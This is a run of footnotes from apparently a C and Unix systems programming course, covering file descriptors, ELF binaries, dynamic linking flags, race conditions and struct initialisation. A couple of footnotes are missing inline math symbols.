Yes, yes, yes, I know this is getting redundant. Key-value stores are everywhere!↩︎
Hint: make sure to read the
man pages for exit
(man 1 exit).↩︎
ps prints out process
information, grep filters the output to only
lines including the argument (gparmer here),
and awk enables us to print out specific
columns (column 2 here). You should start
getting familiar with your command-line utilities!↩︎
“Channel” is a term that is heavily overloaded, but I’ll inherit the general term from the glibc documentation.↩︎
We see why the name “file” in file descriptors is not very accurate. Recall that I’m using the traditional “file descriptors” to denote all of our generic descriptors.↩︎
We’ll discuss the kernel later, and dual-mode execution to protect the implementation of these calls in OS.↩︎
A hallmark of bad design is functionality that is not orthogonal with existing functionality. When a feature must be considered in the logic for many other features, we’re adding a significant complexity to the system.↩︎
Please, please do not try this.↩︎
This is useful to redirect shell output to if you don’t care about the output.↩︎
I’ll try and call it a “file descriptor” when we know the descriptor is to a file.↩︎
This is called a “race condition”. File “locking” helps solve this issue, but we’ll delay discussing locking until the OS class.↩︎
ELF is a file format for binary programs in
the same way that html is the data format for
webpages, .c for C files, .png
for images, and .pdf
for documents. It just happens to contain all of the
information necessary to link and execute a program! It may
be surprising, but comparable formats even exist for java
(.class) files as well.↩︎
Note: these are hexadecimal values, not base-10 digits.↩︎
This is increasingly not true as many compilers support Link-Time Optimization (LTO). This goes beyond the scope of this class.↩︎
We can even choose to use a different
program interpreter, for example, interp.so,
using gcc -Wl,--dynamic-linker,interp.so.↩︎
This sharing of library memory across processes is why dynamic libraries are also called shared libraries.↩︎
What are “flags”? The notion of “flags” is
pretty confusing. Flags are often simply a set of bits (in
this case, the bits of the int) where each bit
specifies some option. In this case, there’s a bit for
RTLD_NOW which says to load all of the symbol
dependencies now, and a separate bit for
RTLD_LOCAL which says that subsequent libraries
should not see this library’s symbols. In short, these are
just single bits in the “flags” integer, thus they can be
bitwise or-ed together (thus the |) to specify
options – they are simply a way to specify a set of
options.↩︎
Note, this is just , using shifts to emulate the power operator.↩︎
There are sometimes optimization-driven
motivations to place function definitions in .h
files. In such cases, the functions must be marked
static to avoid the above problem.↩︎
…and in most languages that don’t support first class functions/closures.↩︎
Short term memory only holds 7 2 items, an each nesting level expands at least one.↩︎
We also often provide an initialization
function that initializes a struct kv instead
of allocating a new one
(e.g. int kv_init(struct kv *kv)). These are
useful since C allows stack and global allocation of the
datatype, and we want to provide a means to initialize one
of those allocations.↩︎